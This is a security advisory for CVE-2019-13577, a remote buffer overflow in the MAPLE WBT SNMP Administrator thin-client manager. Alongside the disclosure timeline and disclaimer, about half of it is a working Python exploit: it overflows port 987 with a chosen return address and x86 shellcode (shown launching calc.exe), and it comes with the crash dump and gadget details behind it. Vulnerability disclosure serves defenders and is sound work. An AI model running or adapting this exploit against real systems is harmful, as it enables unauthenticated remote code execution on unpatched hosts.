[+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/MAPLE-WBT-SNMP-ADMINISTRATOR-v2.0.195.15-REMOTE-BUFFER-OVERFLOW-CODE-EXECUTION-0DAY.txt [+] ISR: Apparition Security [Vendor] www.computerlab.com [Product] MAPLE Computer WBT SNMP Administrator (Thin Client Administrator) v2.0.195.15 https://www.computerlab.com/index.php/downloads/category/27-device-manager ftp://downloads.computerlab.com/software/SnmpSetup.195.15.EXE SnmpSetup.195.15.EXE MD5 File Hash: a3913aae166c11ddd21dca437e78c3f4 The CLI Thin Client Manager is designed to provide remote management and control of CLI Thin Clients. This software is built on the TCP/IP industry standard SNMP (Simple Network Communication Protocol). Agents are built into the clients for remote management and configuration. [Vulnerability Type] Unauthenticated Remote Buffer Overflow Code Execution 0day [CVE Reference] CVE-2019-13577 [Security Issue] SnmpAdm.exe in MAPLE WBT SNMP Administrator v2.0.195.15 has an Unauthenticated Remote Buffer Overflow via a long string to the CE Remote feature listening on Port 987. This will overwrite data on the stack/registers and allow for control of the programs execution flow resulting in attacker supplied remote code execution. Authentication is not required for this exploit. This program seems to be packed using ASPack v2.12 and can be difficult to unpack because it uses self-modifying code. When installing the vulnerable program if asks for a serial number just enter a value of "1" or something. Upon launching the program if any errors occur try right click SnmpAdm.exe and run it as Admin. Interestingly, it seems to drop DLLs with .tmp extensions in AppData\Local\Temp directory, make OS system files viewable in explorer to see them. e.g. C:\Users\blah\AppData\Local\Temp\~ip6B92.tmp ASLR / SEH are all set to False which help to make exploitation more portable. CALL EBX 10008FB3 0x10008fb3 : call ebx | null {PAGE_EXECUTE_READ} [ipwSNMPv5.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v5.0.0.1364 (C:\Program Files (x86)\SnmpAdm\ipwSNMPv5.dll) Stack dump: EAX 41414141 ECX 0018FEFC EDX 0018FF10 EBX 022DDA78 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ESP 0018FECC EBP 0018FEF4 ESI 0018FF10 EDI 0018FEFC EIP 41414141 C 0 ES 002B 32bit 0(FFFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) A 0 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr ERROR_NO_SCROLLBARS (000005A7) EFL 00010206 (NO,NB,NE,A,NS,PE,GE,G) [Exploit/POC] from socket import * import struct,sys,argparse #MAPLE WBT SNMP Administrator (SnmpAdm.exe) v2.0.195.15 #CVE-2019-13577 #Remote Buffer Overflow 0day #hyp3rlinx - ApparitionSec #Pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") eip = struct.pack("<L", 0x10008fb3) #JMP EBX popebx = struct.pack("<L", 0x022C0012) #5B POP EBX buf0="B"*693704 buf1=eip buf2=popebx+sc+"R"*899+"W"*23975 payload=buf0+buf1+buf2 def doit(IP,payload): try: s=socket(AF_INET, SOCK_STREAM) s.connect((IP, 987)) s.send(payload) print "CVE-2019-13577 - WBT SNMP Administrator Buffer Overflow 0day." print "hyp3rlinx" s.close() except Exception as e: print str(e) def parse_args(): parser = argparse.ArgumentParser() parser.add_argument("-i", "--ipaddress", help="IP of Target CVE-2019-13577") return parser.parse_args() def main(args): doit(args.ipaddress,payload) if __name__ == "__main__": if not len(sys.argv) > 1: print "[*] No args supplied see Help -h" exit() main(parse_args()) [POC Video URL] https://www.youtube.com/watch?v=THMqueCIrFw [Network Access] Remote [Severity] High [Disclosure Timeline] Vendor Notification: July 10, 2019 Second vendor notification attempt: July 13, 2019 No vendor replies. July 17, 2019 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx